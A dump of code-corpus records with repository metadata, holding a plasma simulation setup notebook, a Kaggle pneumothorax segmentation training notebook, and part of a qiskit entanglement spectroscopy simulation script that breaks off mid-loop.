R0 = 0.906\n#     # # # ! Ion mass, in amu\n#     Mi = 2\n#     # # # ! Ion charge, in e\n#     Z = 1\n#     # # # ! Ion effective charge, in e\n#     Z_eff = 1.5\n# /\n# ```\n#\n# In GRILLIX, we use these physical parameters to calculate normalisation factors (using the excellent `pint`\n# unit handling library). You can see the calculation and definition of the terms in\n# `tcvx21/grillix_post/components/normalisation_m.py`.\n#\n# You'll need to do this for your own code, but this might provide a helpful starting point.\n#\n# Of the normalisation parameters, the reference ion drift scale is important, since\n# we set our grid resolution in terms of it.\n\n# %% jupyter={\"outputs_hidden\": false} pycharm={\"name\": \"#%%\\n\"}\nprint(norm)\nprint(f\"Reference ion drift scale is {norm.rho_s0.to('mm'):3.2}\")\n\n# %% [markdown] pycharm={\"name\": \"#%% md\\n\"}\n# ### Core profiles\n#\n# You might also need core profiles, such as for setting up initial condition.\n#\n# Since these were not included in the analysis, these haven't been checked as\n# thoroughly as the edge profiles, but they still might be helpful.\n#\n# Note that ion temperature in forward field is not available.\n\n# %% jupyter={\"outputs_hidden\": false} pycharm={\"name\": \"#%%\\n\"}\nplt.style.use(tcvx21.style_sheet)\ncore_profiles = tcvx21.read_struct_from_file(\n    tcvx21.experimental_reference_dir / \"reference_scenario/dataset_TCV_CORE.mat\"\n)\n\n\ndef plot_from_matlab(data, label):\n    r, r_units, val, err, units = [\n        data[key] for key in [\"r\", \"r_units\", \"val\", \"err\", \"val_units\"]\n    ]\n\n    r = Quantity(r, r_units.lstrip(\"[\").rstrip(\"]\"))\n    val = Quantity(val, units.lstrip(\"[\").rstrip(\"]\"))\n    err = Quantity(err, units.lstrip(\"[\").rstrip(\"]\"))\n\n    plt.errorbar(r, val, err, label=label)\n    plt.xlabel(f\"$R^u - R^u_{{sep}}$ [{r.units}]\")\n    plt.ylabel(f\"{val.units}\")\n\n\nfig, ax = plt.subplots()\nplot_from_matlab(core_profiles[\"Forw\"][\"ne\"], \"n forward\")\nplot_from_matlab(core_profiles[\"Rev\"][\"ne\"], \"n reversed\")\nplt.title(\"Core density\")\nplt.legend()\n\nfig, ax = plt.subplots()\nplot_from_matlab(core_profiles[\"Forw\"][\"Te\"], \"$T_e$ forward\")\nplot_from_matlab(core_profiles[\"Rev\"][\"Te\"], \"$T_e$ reversed\")\nplot_from_matlab(core_profiles[\"Rev\"][\"Ti\"], \"$T_i$ reversed\")\nplt.title(\"Core temperatures\")\nplt.legend()\n\nif test_session:\n    plt.close(\"all\")\n\n# %% [markdown] pycharm={\"name\": \"#%% md\\n\"}\n# ## Conclusion\n#\n# Hopefully, this is enough for you to start a simulation of\n# your own. If not, let us know via issues, and we'll\n# extend the documentation and data accordingly.\n#\n# To post-process and compare to TCV-x21, you'll need to extract the data at a\n# series of measurement positions. We do this in `simulation_postprocessing.ipynb`.\n#\n#\n", "meta": {"hexsha": "f259b4ebcb65c41181ec6832c189c26a08a5b191", "size": 17679, "ext": "py", "lang": "Python", "max_stars_repo_path": "notebooks/simulation_setup.py", "max_stars_repo_name": "dsoliveir/TCV-X21", "max_stars_repo_head_hexsha": "784c55adb33417e21a6736e2504a3895a9348dbe", "max_stars_repo_licenses": ["CC-BY-4.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-12-13T11:52:39.000Z", "max_stars_repo_stars_event_max_datetime": "2021-12-13T11:52:39.000Z", "max_issues_repo_path": "notebooks/simulation_setup.py", "max_issues_repo_name": "dsoliveir/TCV-X21", "max_issues_repo_head_hexsha": "784c55adb33417e21a6736e2504a3895a9348dbe", "max_issues_repo_licenses": ["CC-BY-4.0"], "max_issues_count": 2, "max_issues_repo_issues_event_min_datetime": "2021-12-18T17:18:52.000Z", "max_issues_repo_issues_event_max_datetime": "2022-01-26T09:23:23.000Z", "max_forks_repo_path": "notebooks/simulation_setup.py", "max_forks_repo_name": "dsoliveir/TCV-X21", "max_forks_repo_head_hexsha": "784c55adb33417e21a6736e2504a3895a9348dbe", "max_forks_repo_licenses": ["CC-BY-4.0"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2021-12-13T12:56:09.000Z", "max_forks_repo_forks_event_max_datetime": "2022-01-25T20:30:28.000Z", "avg_line_length": 34.261627907, "max_line_length": 224, "alphanum_fraction": 0.7068838735, "include": true, "reason": "import numpy", "num_tokens": 5051, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.41489884579676883, "lm_q2_score": 0.14414884751767365, "lm_q1q2_score": 0.059807190458017224}}
{"text": "# -*- coding: utf-8 -*-\n# ---\n# jupyter:\n#   jupytext:\n#     text_representation:\n#       extension: .py\n#       format_name: light\n#       format_version: '1.5'\n#       jupytext_version: 1.4.2\n#   kernelspec:\n#     display_name: Python 3\n#     language: python\n#     name: python3\n# ---\n\n# **this kernel contains my stage-2 submissions**\n#\n\n# **Hello kagglers**\n# this is my first kaggle competition,as a beginner what i tried is as follows :\n# 1.thanks @rishabhiitbhu for your public kernel,i used code from that kernel,which is this one : https://www.kaggle.com/rishabhiitbhu/unet-with-resnet34-encoder-pytorch\n# 2.changed his architecture from unet with resnet34 to unet with se_resnext50_32x4d\n#\n# in stage-1 i also tried a lot more different architectures in this kernel like linknet with resnet101,unet with resnet101,linknet with vgg11 etc etc,but none of them performed well than this unet with vgg11  in stage-1 public leaderboard,of course there were few architectures i tried like unet with senet with radams and i saw the graph is better than it was before,but as those encoders are large,i ran out of memory in kaggle kernel,if i had a gpu,i am optimistic those models would get us medal hahaha,anyway what are the models from segmentation model pytorch github ripository you  tried for this competition? and what the outcome of each?if you can remember please share with me in the comment box,it will help me a lot for my upcoming competitions\n#\n#\n# **most importantly**\n# 1. @rishabhiitbhu is using equal number of pneumothorax and non pneumothorax samples for training,i have decided to increase the non-pneumothorax sample a bit to see if it does well in terms of overall prediction\n# 2. i have used radams here\n# 3. after 20th epoch which this model stopped training because : \"RuntimeError: DataLoader worker (pid(s) 1094) exited unexpectedly\" so i  reduced the size of num_works and  trained the network again\n#\n\n# ****This Kernel uses UNet architecture with se_resnext50_32x4d encoder, I've used [segmentation_models.pytorch](https://github.com/qubvel/segmentation_models.pytorch) library which has many inbuilt segmentation architectures. This kernel is inspired by [Yury](https://www.kaggle.com/deyury)'s discussion thread [here](https://www.kaggle.com/c/siim-acr-pneumothorax-segmentation/discussion/99440#591985). I've used snippets from multiple other public kernels I've given due credits at the end of this notebook.\n#\n# What's down below?\n#\n# * UNet with imagenet pretrained se_resnext50_32x4d architecture\n# * Training on 512x512 sized images/masks with Standard Augmentations\n# * MixedLoss (weighted sum of Focal loss and dice loss)\n# * Gradient Accumulution\n\n# **ChangeLog**\n# 1. version 1 contains my exact model for this competition's stage 2 submission\n# 2. in version 3 i will try speckle noise or multiplicative noise (implemented in albumentation few days ago after i requested for the implementation),check here : https://github.com/albu/albumentations/issues/439\n# 3. in version 4 i will try fpn instead of unet\n# 4. version 7 - FPN with inceptionresnetv2\n\nimport glob\n\n# + _uuid=\"8f2839f25d086af736a60e9eeb907d3b93b6e0e5\" _cell_guid=\"b1076dfc-b9ad-4769-8c92-a6c4dae69d19\"\nimport os\nimport random\nimport subprocess\nimport warnings\n\nimport numpy as np\nimport pandas as pd\nfrom matplotlib import pyplot as plt\nfrom tqdm import tqdm_notebook as tqdm\n\nimport albumentations as A\nimport cv2\nimport segmentation_models_pytorch as smp\nimport torch\nfrom kaggle_runner.data_providers import provider\nfrom kaggle_runner.datasets.coders import run_length_encode\n\n# from kaggle_runner.datasets.siim_dataset import SIIMDataset\nfrom kaggle_runner.datasets.mock_dataset import MockDataset\nfrom kaggle_runner.plots import plot\nfrom kaggle_runner.post_processers import post_process\nfrom kaggle_runner.runners.trainer import Trainer\nfrom torch.utils.data import DataLoader  # TODO optimize this\n\n# +\n# from albumentations.pytorch import ToTensor\n\nwarnings.filterwarnings(\"ignore\")\n# -\n\nA.MultiplicativeNoise()\n\n# ## Utility functions\n\n# ## Dataloader\n\nprint(os.listdir(\"../input/\"))\n\nsample_submission_path = \"../input/siimmy/stage_2_sample_submission.csv\"\ntrain_rle_path = \"../input/mysiim/train-rle.csv\"\ndata_folder = \"../input/siimpng/siimpng/train_png\"\ntest_data_folder = \"../input/siim_stage2_png\"\n\nab = glob.glob(\"../input/siimpng/siimpng/train_png/*.png\")\nlen(ab)\n\na = pd.read_csv(train_rle_path)\nlen(a)\n\n# ### Dataloader sanity check, not used in trainer\n\ndataloader = provider(\n    fold=0,\n    total_folds=5,\n    data_folder=data_folder,\n    df_path=train_rle_path,\n    phase=\"train\",\n    size=512,\n    mean=(0.485, 0.456, 0.406),\n    std=(0.229, 0.224, 0.225),\n    batch_size=16,\n    num_workers=2,\n)\n\nbatch = next(iter(dataloader))  # get a batch from the dataloader\nimages, masks = batch\n\n# plot some random images in the `batch`\nidx = random.choice(range(16))\nplt.imshow(images[idx][0], cmap=\"bone\")\nplt.imshow(masks[idx][0], alpha=0.2, cmap=\"Reds\")\nplt.show()\nif len(np.unique(masks[idx][0])) == 1:  # only zeros\n    print(\"Chosen image has no ground truth mask, rerun the cell\")\n\n\n# ## Losses\n#\n# This kernel uses a weighted sum of Focal Loss and Dice Loss, let's call it MixedLoss\n\n\n# ## Some more utility functions\n#\n# Here are some utility functions for calculating IoU and Dice scores\n\n# ![](http://)## FPN  with inceptionresnetv2 model\n# Let's take a look at the model\n\nmodel = smp.FPN(\"inceptionresnetv2\", encoder_weights=\"imagenet\")\n\nmodel  # a *deeper* look\n\n# **Radams**\n\n\n# -\n\n# ## Model Training and validation\n\nmodel_trainer = Trainer(model, data_folder=data_folder, df_path=train_rle_path)\nmodel_trainer.start()\n\n# +\n# PLOT TRAINING\nlosses = model_trainer.losses\ndice_scores = model_trainer.dice_scores  # overall dice\niou_scores = model_trainer.iou_scores\n\nplot(losses, \"BCE loss\")\nplot(dice_scores, \"Dice score\")\nplot(iou_scores, \"IoU score\")\n\n\n# -\n\n# ## Test prediction\n\nsize = 512\nmean = (0.485, 0.456, 0.406)\nstd = (0.229, 0.224, 0.225)\nnum_workers = 8\nbatch_size = 16\nbest_threshold = 0.5\nmin_size = 3500\ndevice = torch.device(\"cuda:0\")\ndf = pd.read_csv(sample_submission_path)\ntestset = DataLoader(\n    MockDataset(test_data_folder, df, size, mean, std),\n    batch_size=batch_size,\n    shuffle=False,\n    num_workers=num_workers,\n    pin_memory=True,\n)\nmodel = model_trainer.net  # get the model from model_trainer object\nmodel.eval()\nstate = torch.load(\"./model.pth\", map_location=lambda storage, loc: storage)\nmodel.load_state_dict(state[\"state_dict\"])\nencoded_pixels = []\n\n# TODO put to kaggleKernel class, the predict part\nfor i, batch in enumerate(tqdm(testset)):\n    preds = torch.sigmoid(model(batch.to(device)))\n    preds = (\n        preds.detach().cpu().numpy()[:, 0, :, :]\n    )  # (batch_size, 1, size, size) -> (batch_size, size, size)\n    for probability in preds:\n        if probability.shape != (1024, 1024):\n            probability = cv2.resize(\n                probability, dsize=(1024, 1024), interpolation=cv2.INTER_LINEAR\n            )\n        predict, num_predict = post_process(\n            probability, best_threshold, min_size)\n        if num_predict == 0:\n            encoded_pixels.append(\"-1\")\n        else:\n            r = run_length_encode(predict)\n            encoded_pixels.append(r)\ndf[\"EncodedPixels\"] = encoded_pixels\ndf.to_csv(\"submission.csv\", columns=[\"ImageId\", \"EncodedPixels\"], index=False)\n\ndf.head()\n#\n#\n# `segmentation_models_pytorch` has got many other segmentation models implemented, try them out :)\n#\n# I've learnt a lot from fellow kagglers, I've borrowed a lot of code from you guys, special shout-out to [@Abhishek](https://www.kaggle.com/abhishek), [@Yury](https://www.kaggle.com/deyury), [Heng](https://www.kaggle.com/hengck23), [Ekhtiar](https://www.kaggle.com/ekhtiar), [lafoss](https://www.kaggle.com/iafoss), [Siddhartha](https://www.kaggle.com/meaninglesslives) and many other kagglers :)\n#\n# Kaggle is <3\n", "meta": {"hexsha": "e26a763e600d16e758c24bd0a7393e83d60defb5", "size": 7922, "ext": "py", "lang": "Python", "max_stars_repo_path": "unet-with-se-resnext50-32x4d-encoder-for-stage-2.py", "max_stars_repo_name": "pennz/kaggle_runner", "max_stars_repo_head_hexsha": "19b979ae86f1fcaff5d17f55f4d8bc3d3f2a4ced", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-08-06T09:07:49.000Z", "max_stars_repo_stars_event_max_datetime": "2020-08-06T09:07:49.000Z", "max_issues_repo_path": "unet-with-se-resnext50-32x4d-encoder-for-stage-2.py", "max_issues_repo_name": "pennz/kaggle_runner", "max_issues_repo_head_hexsha": "19b979ae86f1fcaff5d17f55f4d8bc3d3f2a4ced", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2020-05-13T10:49:42.000Z", "max_issues_repo_issues_event_max_datetime": "2020-05-15T22:52:37.000Z", "max_forks_repo_path": "unet-with-se-resnext50-32x4d-encoder-for-stage-2.py", "max_forks_repo_name": "pennz/kaggle_runner", "max_forks_repo_head_hexsha": "19b979ae86f1fcaff5d17f55f4d8bc3d3f2a4ced", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 36.1735159817, "max_line_length": 757, "alphanum_fraction": 0.7388285786, "include": true, "reason": "import numpy", "num_tokens": 2173, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.44939264921326716, "lm_q2_score": 0.1329642487872128, "lm_q1q2_score": 0.05975315601313751}}
{"text": "\"\"\"\nThis file runs simulations of various entanglement spectroscopy circuits using\nqiskit and saves and plots the results.\n\nSee https://arxiv.org/abs/2010.03080\n\nAuthors:\n\tJustin Yirka\tyirka@utexas.edu\n\tYigit Subasi\tysubasi@lanl.gov\n\"\"\"\n\n\"\"\"\nThis file is an example of how to use the module entSpectroscopy.py.\nMost of the experiments for https://arxiv.org/abs/2010.03080 were run using scripts\nlike this.\n\nYou can run it from the command line like:\n    python simulateCircuitsScript.py 2 20 1 1000 0.68 -f './folder'\nor\n    python3 simulateCircuitsScript.py 2 6 1 20000 0.68 0.95 -f './folder' $'Graph Title' 1 5 3 2 800 800 10**(-7) 0.01 0.0005 0.0025 0 &\nChange the parameters after `simulateCircuitsScript.py` based on the description below.\n\nThis script needs `entSpectroscopy.py` and `idle_scheduler.py` available to import.\n`idle_scheduler` is available at https://github.com/gadial/qiskit-aer/blob/ff56889c3cf0486b1ad094634e88d7e756b6db3c/qiskit/providers/aer/noise/utils/idle_scheduler.py\n\nYou can adjust the number of qubits and the paramters for the noise model from the command line, like above.\nOther changes will require modifying this script. Again, this is just one example of using entSpectroscopy.\n\nIf you want to change which circuits are simulated, then you'll have to edit the tuple `all_circuits`\nin this file.\n\nIf you want a noise model different than the models provided in entSpectroscopy, then you'll have\nto write you own.\nIf you want to simulate the circuits on different quantum states than the default state provided in\nentSpectroscopy, then you'll have to write you own function.\n\"\"\"\n\n\"\"\"\nCommand line arguments:\n    1: Min n\n    2: Max n (exclusive, i.e. we compute up to maxN - 1)\n    3: k (size of rho_A) (entSpectroscopy is really only defined for k=1 right now)\n    4: Number of shots\n    5: Confidence level for error bars (as a decimal)\n    6: Noise choice: -f -t -r -g or -n\n        for full noise model, thermal noise only, readout noise only, gate and readout noise only, or no noise.\n        The most general is -f.\n        -t and -r are for convenience. You could achieve -r with -f if you set many\n        parameters to 0, but this makes it easier.\n    7: Output directory (what folder should the output files be placed in?) (don't include a slash at the end)\n\nOptional:\n    8: Plot subtitle\n\nOptional, but if give one, must give all:\n    If none of these are given, then we use the default error parameters listed in `entSpectroscopy.py`.\n    Note that while we've made this to be flexible, we have made assumptions; for example, this script\n    only takes 1 parameter for readout error, assuming that 1 should flip to 0 with the same probability\n    that 0 flips to 1. If you want more customization... write your own script.\n\n    8: Single qubit gate time\n    10: CX time\n    11: Measure time\n    12: Reset time\n    13: T1\n    14: T2\n    15: Thermal Population\n    16: Readout error probability\n    17: Single qubit gate error\n    18: CX gate error\n    19: Reset gate error\n\"\"\"\n\n######################\n###### Imports #######\n######################\nimport sys, os\nfrom time import perf_counter\nimport numpy as np\nfrom scipy.stats import linregress\nfrom scipy.stats import t\n\nimport matplotlib as mpl\nmpl.use('Agg')\nimport matplotlib.pyplot as plt\n\nfrom entSpectroscopy import *\n\nfrom qiskit import execute\nfrom qiskit.providers.aer import QasmSimulator\nfrom qiskit.providers.aer.noise import NoiseModel\nfrom qiskit.providers.aer.noise.errors import thermal_relaxation_error, ReadoutError\n\n###########################################\n###### Command Line Args/Parameters #######\n###########################################\nargs = sys.argv\nN_LIST = range(int(args[1]), int(args[2]))\nK = int(args[3])\nSHOTS = int(args[4])\nCONFIDENCE_LEVEL = float(args[5])\nNOISE_MODEL_CHOICE = args[6]\nOUTPUT_DIRECTORY = args[7]\nif len(args) >= 9:\n    PLOT_SUBTITLE_STRING = \"\\n\" + args[8]\nelse:\n    PLOT_SUBTITLE_STRING = \"\"\nif len(args) >= 10:\n    op_times = {\n        \"u1\" : int(args[9]),\n        \"u2\" : int(args[9]),\n        \"u3\" : int(args[9]),\n        \"cx\" : int(args[10]),\n        \"measure\" : int(args[11]),\n        \"reset\" : int(args[12]),\n        \"id\" : 1\n    }\n\n    noiseArgs = {\n        \"op_times\" : op_times,\n        \"t1\" : float(args[13]),\n        \"t2\" : float(args[14]),\n        \"thermal_population_1\" : float(args[15]),\n        \"measurement_error_prob0_given_1\" : float(args[16]),\n        \"measurement_error_prob1_given_0\" : float(args[16]),\n        \"depolarization_prob_single_qubit\" : float(args[17]),\n        \"pauli_error_prob_single_qubit\" : float(args[17]),\n        \"depolarization_prob_two_qubit\" : float(args[18]),\n        \"pauli_error_prob_two_qubit\" : float(args[18]),\n        \"depolarization_prob_reset\" : float(args[19]),\n        \"pauli_error_prob_reset\" : float(args[19])\n    }\nelse:\n    op_times = DEFAULT_OP_TIMES\n    noiseArgs = {}\n\nif NOISE_MODEL_CHOICE == \"-f\":\n    noise_model_generator = construct_noise_model_full\nelif NOISE_MODEL_CHOICE == \"-t\":\n    noise_model_generator = construct_noise_model_thermalOnly\nelif NOISE_MODEL_CHOICE == \"-r\":\n    noise_model_generator = construct_noise_model_readoutOnly\nelif NOISE_MODEL_CHOICE == \"-g\":\n    noise_model_generator = construct_noise_model_noThermal\nelif NOISE_MODEL_CHOICE == \"-n\":\n    noise_model_generator = None\nelse:\n    raise Exception(\"Did not recognize the noise flag you passed. Only -f,-t,-r,-g or -n are accepted.\")\n\n#####################################\n###### Which circuits to run? #######\n#####################################\n# Order of tuples: Generating function, Plot label, Name to write in results file, Results, Plot color, Type of circuit it is, Slopes, Slope StdErr\n# All of the generating functions needs to accept parameters (n, k, prep_state)\nhTestOrig = (hTest_original_circuit, \"H-Test Original\", \"H-Test Original\", [], 'c', 'h', [], [])\nhTestEff4k = (hTest_qubitEfficient4k_circuit, \"H-Test Q.Eff. 4k\", \"H-Test Qubit Eff 4k+1\", [], 'm', 'h', [], [])\nhTestEff3k = (hTest_qubitEfficient3k_circuit, \"H-Test Q.Eff. 3k\", \"H-Test Qubit Eff 3k+1\", [], 'k', 'h', [], [])\nhTestEff_alt4k = (hTest_qubitEfficient_alternative4k_circ, \"H-Test 4k Alt\", \"H-Test Qubit Eff Alternative 4k\", [], 'r', 'h', [], [])\nhTestEff_alt3k = (hTest_qubitEfficient_alternative3k_circ, \"H-Test 3k Alt\", \"H-Test Qubit Eff Alternative 3k\", [], 'y', 'h', [], [])\ntwoCopyOrig = (twoCopyTest_original_circuit, \"Two-Copy Orig\", \"Two-copy test Original\", [], 'g', 't', [], [])\ntwoCopyEff6k = (twoCopyTest_qubitEfficient6k_circuit, \"Two-Copy Q.Eff. 6k\", \"Two-copy test Qubit Eff 6k\", [], 'r', 't', [], [])\ntwoCopyEff4k = (twoCopyTest_qubitEfficient4k_circuit, \"Two-Copy Q.Eff. 4k\", \"Two-copy test Qubit Eff 4k\", [], 'y', 't', [], [])\n\n# Edit this list to specify which circuits to run or not to run:\nall_circuits = (hTestOrig, hTestEff4k, hTestEff3k, hTestEff_alt4k, hTestEff_alt3k, twoCopyOrig, twoCopyEff6k, twoCopyEff4k)\n\n\n######################################\n###### Thetas and Exact Values #######\n######################################\n# Change these functions if you want to change the inputs and ideal outputs\n\nNUM_THETAS = 20\n\ndef getThetaList(n):\n    \"\"\"\n    Returns list of 20 thetas which give evenly spaced values of Tr(rho_A^n)\n\n    Hardcoded values for convenience.\n\n    Assumes we're using the default state prep function from spectroscopy, with k=1\n\n    These values were generated using this Mathematica code:\n        n = 7;\n        numIntervals = 19;\n        numDigitsPrecision = 10;\n        outs = Subdivide[2^(-(n-1)), 1, numIntervals];\n        trace[t] = Sum[ Binomial[n,i]*Sin[t]^i, {i,0,n, 2}] / 2^(n-1);\n        result = N[Map[Reduce[{trace[t] == #, 0 <= t <= Pi/2}, t, Reals]&, outs], numDigitsPrecision];\n        StringReplace[ToString[result], {\"t == \"->\"\",\"{\"->\"[\",\"}\"->\"]\"}]\n    \"\"\"\n    if n == 2:\n        theta_list = [0, 0.2314773640, 0.3304226479, 0.4086378551, 0.4766796116, 0.5386634661, 0.5967431472, 0.6522511548, 0.7061190231, 0.7590702093, 0.8117261175, 0.8646773037, 0.9185451720, 0.9740531796, 1.032132861, 1.094116715, 1.162158472, 1.240373679, 1.339318963, 1.570796327]\n    elif n == 3:\n        theta_list = [0, 0.2314773640, 0.3304226479, 0.4086378551, 0.4766796116, 0.5386634661, 0.5967431472, 0.6522511548, 0.7061190231, 0.7590702093, 0.8117261175, 0.8646773037, 0.9185451720, 0.9740531796, 1.032132861, 1.094116715, 1.162158472, 1.240373679, 1.339318963, 1.570796327]\n    elif n == 4:\n        theta_list = [0, 0.2491203095, 0.3543433131, 0.4366865759, 0.5076378996, 0.5716852714, 0.6311768187, 0.6875602412, 0.7418396403, 0.7947846259, 0.8470441546, 0.8992213155, 0.9519358743, 1.005893804, 1.061988158, 1.121480238, 1.186392369, 1.260572559, 1.353876403, 1.570796327]\n    elif n == 5:\n        theta_list = [0, 0.2794021424, 0.3935921523, 0.4808709997, 0.5546242519, 0.6201165657, 0.6801030414, 0.7362716601, 0.7897777908, 0.8414889475, 0.8921167248, 0.9423010413, 0.9926770691, 1.043945273, 1.096968442, 1.152941697, 1.213757347, 1.282990475, 1.369767528, 1.570796327]\n    elif n == 6:\n        theta_list = [0, 0.3199493272, 0.4426490985, 0.5332414006, 0.6079996178, 0.6732468307, 0.7322299041, 0.7868946105, 0.8385407416, 0.8881187231, 0.9363862185, 0.9840045982, 1.031611489, 1.079892021, 1.129672738, 1.182081773, 1.238888833, 1.303420250, 1.384147665, 1.570796327]\n    elif n == 7:\n        theta_list = [0, 0.3678313758, 0.4959520472, 0.5872307295, 0.6610521651, 0.7246517493, 0.7816281774, 0.8340827170, 0.8833879597, 0.9305272669, 0.9762694175, 1.021272932, 1.066161499, 1.111594881, 1.158359191, 1.207517971, 1.260730410, 1.321105684, 1.396551522, 1.570796327]\n    elif n == 8:\n        theta_list = [0, 0.4190980610, 0.5487218956, 0.6385481712, 0.7102223398, 0.7714770612, 0.8260582020, 0.8761131478, 0.9230247583, 0.9677718001, 1.011111010, 1.053683798, 1.096091665, 1.138965366, 1.183051185, 1.229353728, 1.279435279, 1.336218322, 1.407129918, 1.570796327]\n    elif n == 9:\n        theta_list = [0, 0.4699483644, 0.5980580911, 0.6852691420, 0.7543035643, 0.8130292719, 0.8651960287, 0.9129307474, 0.9575922479, 1.000135893, 1.041295848, 1.081690781, 1.121897674, 1.162518577, 1.204262943, 1.248083017, 1.295456906, 1.349146792, 1.416169103, 1.570796327]\n    elif n == 10:\n        theta_list = [0, 0.5178871080, 0.6428229977, 0.7269938361, 0.7933187827, 0.8495895696, 0.8994862332, 0.9450840890, 0.9877032578, 1.028268498, 1.067488042, 1.105956733, 1.144227554, 1.182875819, 1.222577841, 1.264239767, 1.309266550, 1.360282005, 1.423949179, 1.570796327]\n    elif n == 11:\n        theta_list = [0, 0.5618311107, 0.6829308316, 0.7640349883, 0.8277746957, 0.8817666042, 0.9295904649, 0.9732586582, 1.014048186, 1.052851733, 1.090351606, 1.127119732, 1.163686736, 1.200603658, 1.238517270, 1.278293144, 1.321272326, 1.369958243, 1.430707030, 1.570796327]\n    elif n == 12:\n        theta_list = [0, 0.6016113123, 0.7187601932, 0.7969478414, 0.8582967603, 0.9102117319, 0.9561635201, 0.9980997455, 1.037254578, 1.074489673, 1.110462801, 1.145724613, 1.180785326, 1.216174132, 1.252511494, 1.290627125, 1.331805837, 1.378445385, 1.436632811, 1.570796327]\n    elif n == 13:\n        theta_list = [0, 0.6374947672, 0.7508314977, 0.8263148487, 0.8854801079, 0.9355135269, 0.9797781857, 1.020159260, 1.057850304, 1.093683938, 1.128295237, 1.162215377, 1.195936075, 1.229966875, 1.264904742, 1.301547495, 1.341130084, 1.385956703, 1.441876305, 1.570796327]\n    elif n == 14:\n        theta_list = [0, 0.6699013348, 0.7796628239, 0.8526634711, 0.9098410717, 0.9581700326, 1.000911168, 1.039891076, 1.076265547, 1.110840399, 1.144229891, 1.176947451, 1.209468031, 1.242283462, 1.275969611, 1.311295749, 1.349452268, 1.392659851, 1.446555022, 1.570796327]\n    elif n == 15:\n        theta_list = [0, 0.6992688969, 0.8057167271, 0.8764438904, 0.9318105945, 0.9785912864, 1.019951286, 1.057662855, 1.092846933, 1.126284704, 1.158571373, 1.190204182, 1.221642854, 1.253363183, 1.285921989, 1.320062813, 1.356935956, 1.398686995, 1.450761486, 1.570796327]\n    elif n == 16:\n        theta_list = [0, 0.7259992723, 0.8293876787, 0.8980308021, 0.9517428409, 0.9971115976, 1.037213790, 1.073771462, 1.107873437, 1.140278259, 1.171563669, 1.202212111, 1.232669418, 1.263396793, 1.294933762, 1.328000541, 1.363711112, 1.404143059, 1.454569088, 1.570796327]\n    elif n == 17:\n        theta_list = [0, 0.7504420305, 0.8510056543, 0.9177332773, 0.9699277528, 1.014003334, 1.052954644, 1.088457310, 1.121570524, 1.153031985, 1.183403375, 1.213153560, 1.242715652, 1.272537518, 1.303142892, 1.335230726, 1.369881908, 1.409112095, 1.458036592, 1.570796327]\n    elif n == 18:\n        theta_list = [0, 0.7728943275, 0.8708449345, 0.9358060701, 0.9866032111, 1.029489282, 1.067382764, 1.101916298, 1.134121676, 1.164717338, 1.194250156, 1.223176488, 1.251917747, 1.280909547, 1.310661141, 1.341851985, 1.375532656, 1.413662103, 1.461211518, 1.570796327]\n    elif n == 19:\n        theta_list = [0, 0.7936065797, 0.8891335947, 0.9524599192, 1.001965421, 1.043752841, 1.080669888, 1.114309291, 1.145677424, 1.175474885, 1.204234833, 1.232402061, 1.260387176, 1.288614493, 1.317579915, 1.347944949, 1.380732269, 1.417848650, 1.464132692, 1.570796327]\n    elif n == 20:\n        theta_list = [0, 0.8127895528, 0.9060620298, 0.9678701650, 1.016177317, 1.056946117, 1.092958313, 1.125769477, 1.156362330, 1.185420882, 1.213465554, 1.240930408, 1.268216032, 1.295736274, 1.323974685, 1.353576174, 1.385537623, 1.421717585, 1.466832141, 1.570796327]\n    else:\n        raise Exception(\"Thetas have only been prepared for n = 2 to 20.\")\n    return theta_list\n\ndef getExactTraces(n):\n    \"\"\"\n    Returns list of NUM_THETAS evenly spaced values from 0 to 2^(-(n-1)).\n\n    So this assumes you pick thetas such that the exact values are this evenly spaced list.\n\n    See `computeExactTraces_forDefaultStatePrep` in spectroscopy to calculate the traces for\n    arbitrary thetas.\n    \"\"\"\n    return np.linspace(2 ** (-(n-1)), 1, NUM_THETAS)\n\n\n###########################\n###### *** MAIN *** #######\n###########################\nbackend = QasmSimulator()\n\nos.makedirs(os.path.dirname(OUTPUT_DIRECTORY + \"/results.txt\"), exist_ok=True)\nresultsFile = open(OUTPUT_DIRECTORY + \"/results.txt\", \"w\", buffering=1)\nlogFile = open(OUTPUT_DIRECTORY + \"/results_log.txt\", \"w\", buffering=1)\n\nresultsFile.write(\"Arguments: \\n\" + str(args) + \"\\n\\n\")\n\nfor r in all_circuits:\n    resultsFile.write(r[1] + \"\\n\")\nresultsFile.write(\"\\n\")\n\nlogFile.write(\"STARTING \\n\")\n\nnStartTime = perf_counter()\nlastTime = nStartTime\nnewTime = nStartTime\n\nfor n in N_LIST:\n    for r in all_circuits:\n        r[3].clear()\n\n    theta_list = getThetaList(n)\n    exact_values = getExactTraces(n)\n    resultsFile.write(\"n = \" + str(n) + \"\\n\")\n    resultsFile.write(\"Thetas: \" + str(theta_list) + \"\\n\")\n    resultsFile.write(\"Exact Values: \" + str(exact_values) + \"\\n\")\n\n    for thetaCounter, theta in enumerate(theta_list):\n        prep_state = generate_default_prep_state_instruction(theta, K)\n\n        for circTuple in all_circuits:\n            circuit = circTuple[0](n, K, prep_state)\n            if NOISE_MODEL_CHOICE != \"-n\": # Noisy\n                circuitThermalReady = construct_modified_circuit_for_thermal_noise(circuit, op_times)\n                noise = noise_model_generator(len(circuit.qubits), **noiseArgs)\n                counts = execute(circuitThermalReady, backend=backend, shots=SHOTS, basis_gates=noise.basis_gates, noise_model=noise).result().get_counts()\n            else: # Noiseless\n                counts = execute(circuit, backend=backend, shots=SHOTS).result().get_counts()\n\n            if circTuple[5] == \"h\":\n                answer = hTest_computeAnswer(counts)\n            elif circTuple[5] == \"t\":\n                answer = twoCopyTest_computeAnswer(n, K, counts)\n            circTuple[3].append(answer)\n\n            logFile.write(circTuple[2] + \". N = \" + str(n) + \". Theta number \" + str(thetaCounter) + \"\\n\")\n            newTime = perf_counter()\n            logFile.write(\"Time to complete this simulation: \" + str(newTime - lastTime) + \"\\n\")\n            lastTime = newTime\n\n    